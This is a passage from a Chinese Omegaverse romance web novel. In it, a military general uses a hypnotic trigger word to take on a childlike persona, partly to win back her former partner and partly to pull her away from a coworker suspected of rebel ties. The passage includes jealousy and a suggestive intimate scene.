宋青佩点了点头,心中却感到一阵沉重。 她知道,自己和慕容瑞雪之间的关系已经发生了微妙的变化,再也无法回到从前那般单纯了。 就在这时,慕容瑞雪的光脑突然响了一下。 她低头看了一眼,发现是李蔓发来的消息,她离开找了个借口转身离开了。 走到无人处,她查看消息。 消息内容很简单,只有一句话:“想办法离间宋青佩和明毓的关系,绝不让她们和好。” 慕容瑞雪的眼中闪过一丝复杂的神色,删掉消息,走了回去。 “青佩,这台机甲的维修工作可能还需要一段时间。”慕容瑞雪的语气中带着一丝关心,“如果你有事的话,可以先回去,我留下来加班就行。” 宋青佩愣了一下,随即摇了摇头:“不用了,我留下来陪你一起修吧。” 慕容瑞雪继续说:“可是明上将不是让你早点回去吗?你不用担心,我一个人可以的。” 宋青佩的眉头微微皱起,她看了一眼时间,发现已经比预期的晚了很久。 她犹豫了一下,最终还是拿出光脑,给明毓发了一条消息:“抱歉,机甲维修工作还没完成,我可能要加班到很晚。” 与此同时,明毓收到了宋青佩的消息,心情瞬间跌入谷底。 她深吸了一口气,努力压下心中的不快,告诉自己不能生气。 她走进浴室,洗了个热水澡,试图让自己冷静下来。 洗完澡后,明毓换上了一身舒适的睡衣,走到床边犹豫了一瞬,然后转身走进了宋青佩的房间。 她躺在宋青佩的床上,感受着熟悉的气息,心中涌起一股莫名的安心感。 明毓闭上眼睛,“我就不信,你今天还不回来了。”【你现在阅读的是魔蝎小说 moxiexs】 30-40 第31章 干柴烈火 宋青佩拖着疲惫的身体回到家,轻轻推开颂颂的房门,看到女儿睡得香甜,脸上还带着一丝笑意。 她俯身亲了亲颂颂的额头,轻声说:“晚安,宝贝。” 随后,她轻轻关上房门,站在走廊上,目光不自觉地瞥向明毓的房间。 房间的门紧闭着,宋青佩以为明毓已经睡了,心中莫名松了一口气,转身走向自己的房间。 然而,当她推开房门,打开灯的瞬间,眼前的景象让她愣住了。 明毓正躺在她的床上,身上盖着她的被子,似是睡着了。 宋青佩站在门口,一时不知该如何反应。她本以为明毓已经放弃了那些让她头疼的举动,没想到事情远没有她想象得那么简单。 “明毓。”宋青佩无奈地走过去将她叫醒,轻声问:你在这干什么?“ 明毓听到声音,缓缓睁开眼睛,看到宋青佩站在床边,嘴角勾起一丝笑意。 她忽然伸手,一把拽住宋青佩的手腕,将她拉到了床上。 宋青佩猝不及防,整个人压在明毓的身上。 “你……”宋青佩刚想挣扎起身,明毓却紧紧抱住了她的腰,不让她动弹。 明毓的脸贴近宋青佩的颈侧,忽然,她的眉头皱了起来,动作一顿。一股陌生的Omega信息素味道袭来,让她心中涌起一股强烈的醋意。 “你身上怎么会有别的Omega的味道?”明毓的声音冷了下来,带着质问的语气。 宋青佩一愣,含糊其词道:“只是工作上的接触,没什么特别的。” 明毓却不依不饶,语气越发冰冷:“工作上的接触?你和慕容瑞雪到底怎么回事?” 宋青佩情急之下,脱口而出:“她……她今天确实向我表白了,但我拒绝了。” 明毓听到这句话,心中的怒火瞬间被点燃。 “果然,那个女人从一开始就不怀好意!你居然还维护她?” “明毓,你冷静一点。”宋青佩见明毓情绪激动,试图解释:“我和慕容瑞雪只是同事关系,她表白是她的事,我已经明确拒绝了。” “拒绝?”明毓冷笑一声,醋里醋气道:“那你为什么还和她走那么近?我看你是对她也有好感,迫不及待想要开始一段新感情吧?” “我和慕容瑞雪只是工作上的合作,没有你想得那么复杂。” 被明毓的质问逼得有些厌烦,宋青佩语气也冷了下来:“你回自己房间吧,等冷静下来我们再说。” 说完,宋青佩准备起身。 然而,明毓却一把抓住了她的手腕,力道大得让宋青佩感到一阵疼痛。 她试图挣脱明毓的手,但明毓却死死抓住她,不肯放手。 两人刚缓和下来的气氛,顿时又变得剑拔弩张。 明毓这种强势又莫名其妙的态度,让宋青佩非常不高兴,好像对待宠物一般,召之即来挥之即去。厌恶她的时候,可以将她的尊严踩在脚下肆意羞辱,丝毫没有尊重可言。不知哪天发神经反应过来对她还有感情,就轻飘飘的一句后悔,就试图重新开始,完全不考虑她的想法。 她是什么很贱的人吗?宋青陪觉得自己还是对明毓太软,才会让她以为她没有任何脾气,可以任由她搓圆揉扁,任意拿捏。 想到这,她声音不由低了好几度,“明毓,放开我!听到没有!” 话语中的怒气太过明显,让明毓也不由诧异的抬头看向她。 只见宋青佩的唇紧紧的抿成一条线,整个人像绷紧的一条弦,仿佛只要再稍微刺激一下,名为理智的弦就会彻底崩断。 明毓没来由的心慌,没有再刺激宋青佩,可她也不想就这么放手。 两人僵持着,迎上宋青佩冷淡夹杂着怒气的眼神,明毓不自觉的放低了声音,“宋青佩,我不喜欢你身上有别的Omega的味道。” “明毓,你没资格管我,是你说的,我们之间没有任何关系了。” 既然解释不好好听,宋青佩选择直接戳她心窝子。 明毓气的呼吸一滞,耐着性子解释:“我后悔了。我已经道歉了,你还想让我怎么样?” 听听,这说的是人话吗?宋青佩几乎要被气笑了。难道纡尊降贵的轻飘飘的道个歉,她之前受的羞辱伤害就可以磨平了吗?最重要的是,明毓到现在都没学会尊重,动不动就用那种颐气指使的态度对她。 加了一晚上的班,宋青佩真是累得不行,懒得跟她继续纠缠。 她加大了力道,猛地晒开了明毓的手,冷冷道:“你给我出去,我要休息!” 说着,就要伸手去拉明毓,大有要直接把她推出去意思。 明毓装不下了,气恼道:“宋青佩,你到底想让我怎么样?你说,我改还不行吗?” 改个锤子,宋青佩相信她能改才有鬼了。 宋青佩第一次对明毓如此‘暴力’,直接将人从床上拉起来,边拉边一股脑的将自己的不满倒了出来:“出去!你给我出去!我累了一天了,要睡觉,真的没工夫在这跟你掰扯这些乱七八糟的东西。算我求你了,放过我行不行?” 明毓毕竟是Omega,宋青佩来真的她根本就不是对手,很轻易的就被从床上拉了起来,一直处于强势地位的明毓愣住了,似乎完全没反应宋青佩居然敢这么对她。 等她反应过来,已经被宋青佩拉拉扯扯的到了房门口,马上要被赶出去。 情急之下,明毓念出了那个关键词:“梦梦。” 瞬间,明毓的表情发生了变化,眼神变得柔软,带着一丝委屈和不安。 她松开了宋青佩的手,咬着唇,声音低低的,带着一丝哭腔:“姐姐……你不喜欢梦梦了吗?为什么你身上有别的Omega的味道?” 宋青佩的动作瞬间顿住,难以置信地看着眼前的明毓。 那个曾经让她魂牵梦萦的‘梦梦’,在这一刻似乎回来了。 她怔怔看着明毓,一时之间忘了反应。 见她不说话,明毓——不,此刻的‘梦梦’更加委屈了。她猛地扑进她怀里,紧紧地抱着她,眼泪簌簌地往下掉,染湿了宋青佩胸前的衣襟。 “呜呜,姐姐,你为什么要赶梦梦走?” “你说话啊,姐姐……” 一声声的姐姐,喊得宋青佩心尖颤抖,仿佛置身梦中。 直到温热的泪烫湿她的心口,她才恍若初醒般,讷讷出声:“梦梦……” 宋青佩颤抖地抚上明毓的脸颊,眼中满是复杂的情感。 ‘梦梦’紧紧抱住她,声音哽咽:“姐姐,你是不是不喜欢梦梦了?你是不是……不要我了?” 宋青佩的心瞬间软了下来。 她习惯性地轻轻拍着‘梦梦’的背,柔声安慰:“没有,我没有不喜欢你。梦梦,别哭了,好吗?” ‘梦梦’却哭得更凶了,抽抽噎噎地说:“你骗人……你身上有别的Omega的味道,你还凶我……你是不是喜欢上别人了?” 宋青佩无奈地叹了口气,心中既心疼又无奈。 她轻轻捧起‘梦梦’的脸,认真地看着她的眼睛:“梦梦,我没有喜欢别人。我只喜欢你一个人,真的。” ‘梦梦’眨了眨泪眼,声音依旧带着哭腔:“那你……那你以后不许再和别的Omega走那么近,好不好?” 宋青佩点了点头,语气温柔:“好。” ‘梦梦’这才稍微平静下来,她靠在宋青佩的怀里,小声嘟囔着:“姐姐,你不能骗我……你要是骗我,我会很难过的……” 宋青佩轻轻抚摸着‘梦梦’的头发,心中涌起一股复杂的情感。 她知道,眼前的‘梦梦’应该是明毓刻意伪装出来的,但她还是无法抗拒那种心疼的感觉。轻声说:“我不会骗你的,梦梦,相信我好吗?” ‘梦梦’点了点头,乖乖地闭上了眼睛,“姐姐,我好困……” “睡吧,我在这陪着你。” 她的呼吸逐渐平稳,似乎真的睡着了。 宋青佩看着怀里的人,心中五味杂陈。 她不知道明毓到底为什么突然变成这样,也不知道自己该如何面醒过来的明毓。只知道,此刻忍不住贪恋这短暂的温柔。 她轻轻抱着‘梦梦’斜靠在床上,为她盖好被子,静静地看着她。 夜深人静,宋青佩的心情却久久无法平静。 她不由叹了口气,低声呢喃:“梦梦,如果你一直这样该多好。” 然而,回答她的只有‘梦梦’平稳的呼吸声。 宋青佩靠在床头,闭上眼睛,心中满是复杂的情绪。 她知道,今晚注定是一个难眠之夜。 清晨的阳光透过窗帘的缝隙洒进房间,明毓缓缓睁开眼睛,意识逐渐回笼。 她侧过头,看到宋青佩还在沉睡,眉头微微舒展,似乎睡得十分安稳。 昨晚的记忆如潮水般涌来,她记得自己是如何在催眠的作用下变成了‘梦梦’,记得宋青佩是如何温柔地安抚她,记得依偎在宋青佩怀里的那种安心感。 可此刻,她恢复了清醒,那种情绪仿佛被一堵无形的墙隔开,变得遥不可及。 明毓轻轻叹了口气,心里有些不是滋味。 她既高兴宋青佩依然对‘梦梦’温柔以待,又有些吃醋——吃自己的醋。这种矛盾的情绪让她感到可笑,却又无法忽视。 就在这时,宋青佩的睫毛微微颤动,缓缓睁开了眼睛。 她的目光先是温柔地落在明毓脸上,轻声唤道:“梦梦……” 明毓的心猛地一跳,还没来得及回应,宋青佩的眼神已经变了。 她似乎瞬间清醒过来,意识到眼前的人不再是昨晚那个依赖她的‘梦梦’,而是恢复了记忆的明毓。 她的语气立刻带上了疏离:“你醒了?” 明毓察觉到她的变化,心中有些不悦,但还是点了点头:“嗯。” 宋青佩坐起身,揉了揉太阳穴,语气中带着一丝疲惫和疑惑:“昨晚……你到底怎么回事?” 明毓心中一紧,知道宋青佩在怀疑什么。 她不想透露催眠的事,只能含糊其词:“怎么了?我最近工作压力大,精神状态不太好,可能有些失控了。” 宋青佩皱了皱眉,显然对这个解释并不完全相信,她盯着明毓的眼睛,试图从中看出些什么,但明毓的表情平静得让她无从下手。 最终,宋青佩只是淡淡地说了一句:“那你注意休息,别太累了。” 明毓点了点头,心中却有些失落。 她不喜欢宋青佩这种冷淡的态度,想到昨晚宋青佩对‘梦梦’的温柔,心中那股醋意又涌了上来,想到慕容瑞雪对宋青佩表白的事,醋意更浓了。 不由借题发挥,再次警告道:“你和慕容瑞雪……最好保持距离。” 又是这种强势的语气,宋青佩皱眉道:“我和慕容瑞雪只是同事关系,你不需要用这种命令的语气来警告我。而且我不是你的下属,我和谁接触,不需要向你汇报。明毓上将!”最后四个字她刻意加重了语气。 明毓被她的反驳噎住了,语气中不由带上一丝委屈道:“为什么你就不能像对梦梦一样对我?明明我们就是同一个人!” 宋青佩的眼神一暗,反问道:“那你呢?你为什么不能像梦梦一样对我?昨晚的你,可不会用这种语气跟我说话。” 明毓一时语塞,想到昨晚自己在宋青佩怀里撒娇的模样,不适的移开视线,低声说:“我……我做不到那样。” “所以,我也做不到像对梦梦一样对你。”宋青佩语气平静:“我可以理解你,也请你理解我。明上将,做人不要双标。” 明毓张了张嘴,想要反驳,却发现自己无话可说。 就在这时,她的光脑突然响了起来,打破了房间内压抑的气氛。 明毓低头看了一眼,发现是明芮打来的电话。 她接通电话,明芮的声音透过通讯器传来,“表姐,慕容瑞雪的背景……有些问题,我当面跟你细说吧。” 明毓心中一凛,立刻意识到事情*可能比她想象得更复杂。 她匆匆对宋青佩说了一句“我有事出去一趟”,便起身离开了房间。 宋青佩看着她匆匆离去的背影,明知道明毓一定隐瞒了什么,但根本来不及追问,只是无奈地叹了口气—— 明毓快步走出家门,坐上车后,立刻拨通了明芮的通信器。 “明芮,你现在在哪里?” 明芮道:“表姐,我在军部大楼的办公室等你。” 挂断电话后,明毓的心情变得更加沉重。 她不知道明芮发现了什么,但直觉告诉她,慕容瑞雪的身份可能并不简单。 到达军部大楼后,明毓直奔办公室。 推开门,明芮正拿着一份文件,眉头紧锁。 看到明毓进来,她立刻站起身,将文件递了过去:“表姐,你先看看这个。” 明毓接过文件,快速浏览起来。 随着阅读的深入,她的脸色逐渐变得凝重。 慕容瑞雪的背景调查结果,有一条信息引起了她的注意—— 文件上显示,慕容瑞雪居然和慕容暇有关系,而慕容暇是蓝海集团的幕后创立者,与黑鸢花叛军余孽来往密切,原本早就该被击毙了,此刻却又突然出现和慕容瑞雪联系。 而联邦调查局正在秘密调查此事。 “黑鸢花?”明毓抬起头,目光锐利地看向明芮,“这个组织不是已经被剿灭了吗?怎么会和慕容瑞雪扯上关系?” 明芮点了点头,语气凝重:“没错。总统对这件事非常重视,已经下令联邦调查局全力追查。姐,我怀疑慕容瑞雪接近宋青佩,可能另有目的。” 明毓的眉头紧锁,心中涌起一股不安。 她不相信这世上有这么巧的事,慕容瑞雪偏偏在这个时候将宋青佩招进蓝海集团,又蓄意接近,肯定另有目的。 “你觉得她的目标是什么?”明毓低声问。 明芮摇了摇头,语气中带着一丝不确定:“目前还不清楚,但我觉得她的目标可能是你。毕竟,既是明家的继承人,又是高级军校的创办者,如果她真的替黑鸢花叛组织做事,目的绝对不会简单。” 明毓沉思了片刻,道:“不管她的目标是什么,继续调查,有任何新的发现,立刻通知我。” “我已经安排人手监视慕容瑞雪的一举一动,但为了避免打草惊蛇,暂时还不能对她采取强制措施。” “很好。”见她考虑得如此全面,明毓十分欣慰。 “表姐,你多加小心,那我先走了。” 送走了明芮,明毓坐在办公室里,手指轻轻敲击着桌面,眼神冷峻。 她的脑海中不断回放着明芮提供的关于慕容瑞雪的资料,尤其是她与“黑鸢花”叛军组织的联系,虽然目前还没有确凿的证据,但慕容瑞雪的出现绝非偶然。 她拿起通讯器,拨通了宋惜寒的号码。 “惜寒,来我办公室一趟。” 没过多久,宋惜寒推门而入,脸上带着疑惑:“明毓,你找我?” 明毓点了点头,示意她坐下,随后将手中的文件递了过去:“你先看看这个。” 宋惜寒接过文件,快速浏览起来。 随着阅读的深入,她眼中闪过震惊:“慕容瑞雪……疑似和黑鸢花组织有关?这怎么可能?” “目前还没有确凿的证据,但她的背景确实不简单。我需要你帮我试探一下她。” 宋惜寒神情变得严肃起来:“你打算怎么做?” 明毓沉吟片刻,缓缓说:“你以叙旧的名义,约她晚上一起吃饭。” 宋惜寒有些犹豫:“这样会不会打草惊蛇?如果她真的有问题,我们这样直接接触,可能会引起她的警觉。” “不会。”明毓摇了摇头,笃定道:“只是叙旧,你和她不是同一届军校毕业的吗?顺便聊聊过去的事。我好叫上青佩,她应该不会起疑心。” 思索片刻,宋惜寒点头答应:“好,我来安排。” 与此同时,明毓拨通了宋青佩的通讯器。 “晚上一起吃饭吧。” 宋青佩愣了一下,语气中带着一丝诧异:“吃饭?为什么突然……” 明毓努力缓和语气,解释道:“惜寒请客,慕容若雪也会去,正好聚一聚。” 宋青佩皱了皱眉,实在不理解她们四个人有什么好聚的,除了尴尬还是尴尬。 正想拒绝,突然传来宋惜寒的声音,热情地邀请她吃饭,宋青佩实在不好拒绝,只得无奈妥协。 “好吧,我会去的。”—— 傍晚,明毓和宋惜寒一同前往餐厅。 路上,宋惜寒忍不住问:“明毓,你真的怀疑慕容瑞雪和黑鸢花有关?她的背景一直很干净。” “背景干净不代表没有问题。”明毓语气中带着一丝冷意:“黑鸢花叛军的余孽一直潜伏在暗处,慕容瑞雪的出现太过巧合,不得不防。” 宋惜寒点了点头:“我明白了。今晚我会尽量引导话题,看看能不能从她的话里找到一些线索。” 明毓微微颔首,没有再说什么。 两人到达餐厅后,先点了餐,随后坐在靠窗的位置等待两人的到来。 没过多久,宋青佩和慕容瑞雪一同走进了餐厅。 慕容瑞雪穿着一身干练的职业装,脸上带着明媚的笑容,而宋青佩则显得有些心不在焉,目光时不时瞥向明毓,眼中带着一丝复杂的情感。 “抱歉,我们来晚了。”慕容瑞雪笑着打了个招呼,随后在宋惜寒旁边坐下。 宋青佩则犹豫了一下,明毓开口:“青佩,坐我旁边吧。” 宋青佩目光在明毓身上游移了一瞬,最终还是走到她身边坐下。 四人落座后,气氛一时有些尴尬。 宋惜寒率先打破了沉默,笑着对慕容瑞雪说道:“瑞雪,好久不见了,最近工作怎么样?” 慕容瑞雪微微一笑,语气轻松:“还不错,蓝海集团最近有几个大项目,忙得不可开交。你呢?听说你最近在帮明上将筹备高级军校的事?” 宋惜寒点了点头,顺势将话题引向了过去:“是啊,忙得脚不沾地。说起来,我们军校那会儿可没这么忙,你那时候可是学校的风云人物,大家都对你佩服得不得了。” 慕容瑞雪笑了笑,“那时候年轻,现在想想,还真是怀念。” 宋惜寒趁机问道:“对了,你毕业后就直接去了蓝海集团吗?我记得你好像说过,你有个养母,是她带你进入这个行业的?” “是啊,我养母是蓝海集团的创始人之一,她给了我很多机会。” 说话时,慕容瑞雪的表情闪过一抹警惕,但很快恢复了自然,但这一切还是被明毓敏锐的捕捉到了,未免她起疑心,明毓故意发作。 她忽然开口,“慕容小姐,听说你昨天向青佩表白了?” 此话一出,桌上的气氛瞬间凝固。 宋青佩的脸色变得有些难看,她试图阻止明毓:“明毓,你别……” 慕容瑞雪却笑了笑,落落大方地回应:“是啊,青佩是个很好的人,自然有人珍惜。不过她已经明确拒绝了我,我也尊重她的选择。” 明毓语气中带着一丝嘲讽:“是吗?那慕容小姐还真是大度。不过,我劝你还是离青佩远一点,毕竟有些人,不是你该碰的。” “明上将这话是什么意思?”慕容瑞雪的笑容依旧,但眼神中却多了一丝冷意:“我和青佩目前还只是同事关系,您是不是误会了什么?” 明毓冷笑一声,正要反驳。 “明毓,你够了!”宋青佩突然站了起来,语气中带着一丝怒意。 见状,明毓不知是假戏真做,还是真的被气的失去了理智。 她猛地站起来,语气中带着不容置疑的强硬:“我们吃好了,先走了。”说完就拉着宋青佩要离开。 宋青佩咬了咬牙,看了一眼慕容瑞雪,语气中带着一丝歉意:“瑞雪,抱歉,今天的事……” 慕容瑞雪笑了笑,摆了摆手:“没关系,青佩,你先回去吧。” 宋青佩无奈地点了点头,跟着明毓离开了餐厅—— 车上,宋青佩的脸色难看。 她转过头,语气中带着一丝责备:“明毓,你今天太过分了!你这样闹,让我以后怎么面对慕容瑞雪?” 明毓没有回答她的问题,而是强硬道:“那就不用面对了,直接辞去蓝海集团的工作就好。” 宋青佩愣了一下,怒道:“你疯了吗?” 明毓的声音陡然提高,“我是为了你好,总之你把工作辞了就行了。” 对于她这种独断专行的行为,宋青佩反应激烈:“你凭什么干涉我的工作?我和慕容瑞雪只是同事关系,你没必要这样针对她!” 关于慕容瑞雪的事情,明毓根本没办法告诉宋青佩,只能真真假假的借着吃醋发作,试图,让宋青佩妥协,而显然宋青佩是不可能妥协的。 两人一言不合,直接吵了起来。 明毓的眉头紧锁,她知道再这样争执下去,只会让事情变得更糟。 她深吸了一口气,再次故技重施,轻声念出了那个关键词:“梦梦。” 下一刻,她表情发生了变化,委屈的看向宋青佩,控诉:“你……又凶我?” 宋青佩愣住了,她难以置信地看着眼前的明毓,不,‘梦梦’。 竟然又回来了。 “梦梦……” 宋青佩看着她,眼中满是复杂的情感。 ‘梦梦’瞪着她,委屈地控诉,声音依旧带着哭腔:“你……你不要再理慕容瑞雪了好不好,好不好嘛?” “梦梦,我要工作,你听话好不好?”宋青佩试图和她讲道理。 可梦梦完全不理,就一口咬定不让她再理慕容瑞雪,宋青佩解释了许久,也没有一点作用,梦梦完全不听宋青佩的话,自顾自生气。 一路上,两人也没掰扯出个结果。 回到家时,天色已晚。 苏管家和佣人们早已在门口等候,看到明毓和宋青佩一同下车,众人纷纷上前迎接。 然而,当明毓从车上走下来时,所有人都愣住了。 明毓的脸上带着一种天真无邪的笑容,眼神清澈得像个孩子。 她走到苏管家面前,笑嘻嘻地说:“苏管家,我回来了!” 苏管家一时没反应过来,愣在原地,眼中闪过一丝震惊。 佣人们也面面相觑,窃窃私语起来。 “上将这是怎么了?怎么感觉像变了个人似的?” “嘘,别乱说,小心被听见了。” 苏管家回过神来,立刻板起脸,低声呵斥道:“都别乱说话,赶紧去做自己的事!”佣人们立刻噤若寒蝉,纷纷散开,各自忙碌去了。 苏管家看着明毓的背影,眉头紧锁,心中隐隐不安。 他快步走到一旁,拿出通讯器,拨通了明老夫人的号码。 “老夫人,不好了,上将似乎又出现了应激状态。”苏管家的声音中带着一丝焦急,“她现在的状态……很像当年失忆时刚找回来的样子。” 通讯器那头沉默了片刻,随即传来明老夫人的声音:“我知道了,你先观察一下,我会尽管查清楚原因的。” 挂断电话后,苏管家转身走向客厅,默默观察明毓。 明毓正和颂颂坐在地毯上,玩得不亦乐乎。 颂颂手里拿着一个玩具,好奇地看着明毓:“妈咪,你今天好像有点不一样了。” ‘梦梦’眨了眨眼睛,笑着问:“哪里不一样了?颂颂不喜欢这样的妈咪吗?” 颂颂歪着头想了想,随即开心地笑了起来:“喜欢!妈咪今天特别温柔,还陪我玩了这么久!” ‘梦梦’宠溺道:“那以后妈咪每天都陪你玩,好不好?” 颂颂兴奋地点了点头,两人继续玩闹起来,笑声回荡在整个客厅。 宋青佩站在一旁,看着这一幕,心中五味杂陈。 苏管家走到宋青佩身边,低声问:“宋小姐,上将这是……?” 宋青佩摇了摇头,语气中带着一丝无奈:“她说最近压力太大,精神状态有些不稳定。我会照顾好她的,您不用担心。” 苏管家点了点头,虽然心中仍有疑虑,但也不好再多问。 只能退到一旁,默默观察着明毓的一举一动。 过了一会儿,宋青佩看了看时间,轻声对颂颂说道:“颂颂,该去洗澡睡觉了。” 颂颂有些不情愿地噘起嘴:“妈咪,再玩一会儿嘛!” 梦梦也眼巴巴地看着宋青佩,“姐姐,再让颂颂玩一会儿吧,好不好?” 宋青佩看着两人如出一辙的表情,心中一阵无奈。 她蹲下身,轻轻拍了拍颂颂的头:“颂颂,听话,明天再玩,好不好?” 颂颂看了看宋青佩,又看了看梦梦,最终还是点了点头:“好吧。” 宋青佩牵着颂颂的手,带她上楼去洗澡。 梦梦则坐在原地,眼巴巴地看着她们的背影,眼中闪过一丝失落。 等到宋青佩哄完颂颂睡觉,回到客厅时,发现梦梦还坐在原地,手里抱着一个抱枕,低着头,一副委屈巴巴的样子。 宋青佩走到她身边,轻声问:“梦梦,你怎么还不去休息?” 梦梦抬起头,眼中蓄满了泪水,声音带着一丝哽咽:“姐姐,你明天是不是还要去找那个勾引你的坏女人?” “梦梦,这样说话太没礼貌了。”宋青佩无奈地解释:“我和慕容瑞雪只是同事关系,你不要多想。” 梦梦却摇了摇头,不依不饶,“那你答应我,不要再理她了,好不好?” 宋青佩一时语塞,不知该如何回答。 然而,梦梦的眼泪却像断了线的珠子,不停地往下掉,让她的心也跟着揪了起来。 “梦梦,你别哭了……”宋青佩无奈又心疼。 梦梦却仿佛听不进去,依旧紧紧抓着宋青佩的手,委屈的哀求:“姐姐,你答应我,好不好?你不要再理她了,好不好?” 宋青佩实在是没办法了,直接吻住梦梦叭叭个不停的唇。 梦梦的身体微微一僵,随即软了下来。 宋青佩的吻温柔而缠绵,带着安抚的意味,手指轻轻抚过梦梦的脸颊,擦去她脸上的泪水。 梦梦攀住她的脖子热情地回应起来,伴随着吻逐渐加深,颤声道:“姐姐……别离开我……” 宋青佩的吻落在她的耳畔,声音低哑而温柔:“我不会离开你,梦梦。” 彼此太过熟悉,仿佛干柴烈火般,不过一个吻,便点燃了两人的激情。 浓郁的信息素在房间内弥漫,轻柔地缠绕着两人的身体。 第32章 姐姐,快标记我! 那是一种近乎本能的反应,恍若在呼唤着彼此心底最深处的渴望。 “姐姐……”梦梦的声音如同微风轻轻荡漾开来,带着一丝不安和渴求,“我……我想要你亲亲我,摸摸我” 宋青佩的心一阵紧缩,仿佛被这个请求击中了最柔软的地方,手指忍不住在梦梦的肌肤上滑动,感受着她的温度与脉动。 梦梦的呼吸变得急促,身体因期待而微微前倾,想要更贴近宋青佩。 一瞬间,宋青佩体内燃起了一种难以抑制的渴望,仿佛有无数的火花在心底炸裂,点燃了她的每一根神经。 “梦梦……” 她低声唤着,逐渐加深了触碰梦梦脖颈后腺体的力度,每一次的轻触都如同电流划过,梦梦的喘息几近破碎。 “姐姐,你……你欺负我……” 宋青佩听到这话,心中一阵柔软,却又带着几分无奈。 她低头用唇轻触梦梦的泪水,柔声安慰:“我不是故意的,梦梦,很快就好了。” “姐姐,我要标记我!快完全标记我” 梦梦的眼中闪烁着渴望的泪光,仿佛在期待一场饕餮盛宴。 —— 明毓缓缓睁开眼睛,微微动了动,发现自己正被宋青佩紧紧搂在怀里,温暖的体温透过肌肤传递过来,让她一时有些恍惚。 身体还残留着昨夜的快感余韵,隐隐还有几分空虚,和难以启齿的 欲求不满。 昨晚明明就差最后一步,宋青佩几乎就要失控完全标记她了,却又硬生生的忍住了,再次临时标记安抚了她,可仅仅是宋青佩主动的临时标记,快感也比她强迫强烈的多。 那种深入骨髓的契合感,仿佛灵魂都被打上了彼此的烙印。 来自于身体的本能,让她越发渴望被完全标记。 仅仅是想想曾经的水乳交融,她就忍不住浑身发热,身体身处仿佛有无数的蚂蚁在爬一样,酥麻,痒痒的,让她恨不能被宋青佩狠狠地 反应过来自己在想什么的明毓,顿时脸颊通红,暗暗唾弃自己怎么会有这种离谱的想法。可是,闭上眼,脑海中还是会不由自主地浮现出昨晚的画面——自己在宋青佩身下扭动,软着嗓子喊她“姐姐”,甚至主动哭求她完全标记自己。 想到这里,明毓的耳根瞬间红透,心中涌起一阵羞耻感。 “该死,我明明比她大两岁……” 明毓在心里暗自懊恼,宋青佩趁着她失忆占她便宜。 可身体却不由自主地往宋青佩怀里靠了靠,手指轻轻抚过宋青佩的胸前,感受到她平稳的呼吸,心中五味杂陈。 昨晚的她,完全被失忆时的本能支配,而此刻清醒过来,却有些不知道该如何面对宋青佩。 正当她思绪纷乱时,宋青佩也醒了过来。 而明毓不知出于什么想法,猛地闭上了眼。 宋青佩动了动手臂,低头看了看怀里的人,眼中闪过一丝复杂的神色。 昨晚“梦梦”的再次出现,让她既满足又矛盾,尤其是‘梦梦’在那种状态下喊她“姐姐”,让她差点理智全毁。 好在最后关头理智回笼,才没有犯下不可挽回的错误。 此刻冷静下来,她越发觉得这一切实在太过缺乏常理,怕又是明毓耍的什么花招,可不管如何……能再看到‘梦梦’,已经是她不敢想的奢望。 只是在没搞清楚之前,她决不能沉浸其中,被欲望支配铸下大错。 宋青佩一遍遍的提醒自己,现在的‘梦梦’跟老婆是不一样的。 做了许久的心理准备,她才张口,“梦……” 宋刚吐出一个字,又顿住,她猛地想起上一次明毓以‘梦梦’的状态出现后,第二日又恢复如常,让两人都十分尴尬。 想到这,她先是轻柔地推了推怀中的人。 明毓的身体微微一僵,随即装作刚醒般,迷朦地睁开了眼睛。 见她醒了,宋青佩摸不准她此刻的状态,试探性地问:“你醒了?” 闻言,明毓动了动身体,不经意间擦过被子下两人的身体,故意用指尖划过宋青佩的小腹,侧头观察她的反应。 宋青佩身体一僵,表面装作无事,实则身体瞬间绷紧。 明毓顿觉有趣,于是故意道:“昨晚……发生了什么?我好像有点记不清了。” 闻言,宋青佩忍不住打量着明毓,似乎在试探着些什么。 被她看得有些不自然,明毓故作镇定:“怎么了?这么看着我做什么?” 对于她这番反应,宋青佩一点也不信,试探道:“你……一点都不记得了?” 明毓扶着额头故作沉思地想了想,决定暂时装傻,看看宋青佩会有什么反应。 于是她做出回忆的模样,断断续续地说:“也不是完全都不记得了。我记得……昨晚到你房间等你,睡着了,后面的事情就记不太清了。你抱着我,好像还……主动亲了我……” 她故意加重了‘主动’两个字,说完观察着宋青佩的脸色。 可惜,宋青佩只是认真地聆听着明毓的话,等她说完,又接着问了一句:“别的你都不记得了吗?” 明毓暗自懊恼宋青佩镇静的反应,于是故做茫然地想了想,恍然大悟般,“我昨晚是不是发热期又来了,你是不是……主动安抚了我?” 最后一句,几乎明牌了。 她等着宋青佩承认,昨晚是她主动的。这样她就可以反驳,宋青佩对她还有感情,才会主动与她做这种亲密的事,根本就不是她嘴里说的,已经彻底放下了。 可万万没想到,宋青佩只是起身,一边穿衣服一边顺着明毓的话道:“嗯,你昨晚发热期是来了,我遵守约定临时安抚了你。” “只是遵守约定?”明毓一脸愕然。 宋青佩转身看向她,“不然呢?” 一句轻飘飘的不然呢,让明毓一时间她进退两难。 若是她接受宋青佩的说法,那就是哑巴吃黄连。可若是不接受,就要承认自己撒谎了,她根本什么都记得,到时候必然要好好跟宋青佩解释一番。 明毓的思绪在瞬间飞速转动,她意识到自己已经陷入了宋青佩设下的陷阱。思前想后,她还是决定先吃下这个哑巴亏,她目前还并不想让宋青佩知道她接受催眠的事。 她暗自咬牙,闷声道:“没事了。” 于是,两人默契地选择一起装傻,没再继续这个尴尬的话题。 吃了哑巴亏的明毓每个动作都带着几分泄愤的意味,再次将身上的被子扔到一旁,自顾自地起身去找被丢的到处都是衣服,等她捞起床尾扔着的内衣,才发现早就被扯得断了肩带。 她故意拎起内衣,用质问的眼神看向宋青佩。 “呵。”她阴阳怪气,“宋青佩,你什么时候这么暴力了?” 宋青佩转头,正好看到明毓身上连根线都没有的半坐在床边,高贵冷艳地拎着断掉的内衣,咄咄逼人的质问她,漂亮的瞳孔里仿佛还在燃烧着未烬的怒火。 这幅画面,莫名地透着一种滑稽的诱惑,让她不由轻笑出声。 明毓大抵也察觉到不对,气得将内衣丢进垃圾桶,羞恼道:“笑什么?还不去给我拿套睡衣来。” 努力地将嘴角的笑意掩去,宋敬佩从衣柜里拿出一套没穿过的睡衣递给她。 没好气地接过睡衣,明毓直接真空套上,松松地扣上系带。 宋青佩脑海中不由闪过了一个熟悉的画面,当时明毓也是穿着睡衣到她房间来,里面穿着大尺度的情趣内衣,一瞬间,画面似乎重叠了。 反应过来自己在想什么宋青佩,不由无地自容,简直疯了。 难得,宋青佩对上明毓有种落荒而逃的冲动。 她颇为不自在道:“我……我去看看颂颂醒了吗?” 